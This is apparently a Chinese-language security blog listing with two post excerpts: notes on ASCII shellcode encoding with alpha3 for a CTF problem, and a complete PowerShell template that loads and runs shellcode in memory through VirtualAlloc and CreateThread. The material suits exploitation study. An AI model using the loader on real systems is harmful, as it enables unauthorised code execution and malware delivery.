Ascii shellcode

可以使用alpha3這套工具,他會產生出具有encoder的ascii shellcode , 利用本身的encoder去解碼,產生出來的shellcode很短,不過這類的shellcode需要一個reg去指向shellcode的起頭 其他別種的有些是利用偏移去xor,最後jmp esp去執行 紀錄一下一題題目的解法: 利用stack上的位置跟ROP的ret跳到那個位置上,再利用stack上的值去跟eax去做xor,利用的是像xor al,[esp+0x34]這類的op code,偏移的部分利用push eax 來填充,最後剛好使eax 指向我們shellcode的位置 可以參考下方的參考資料 References http://inaz2.hatenablog.com/entry/2014/07/11/004655 http://inaz2.hatenablog.com/entry/2014/07/12/000007 http://inaz2.hatenablog.com/entry/2014/07/13/025626 https://code.google.com/archive/p/alpha3/ https://nets.ec/Ascii_shellcode

February 9, 2016 · 1 min · Zet

Use PowerShell lunch shellcode

執行shellcode的模板 $code = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = SHELLCOD;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 }; SHELLCOD的地方是要替換的...

March 18, 2013 · 2 min · Zet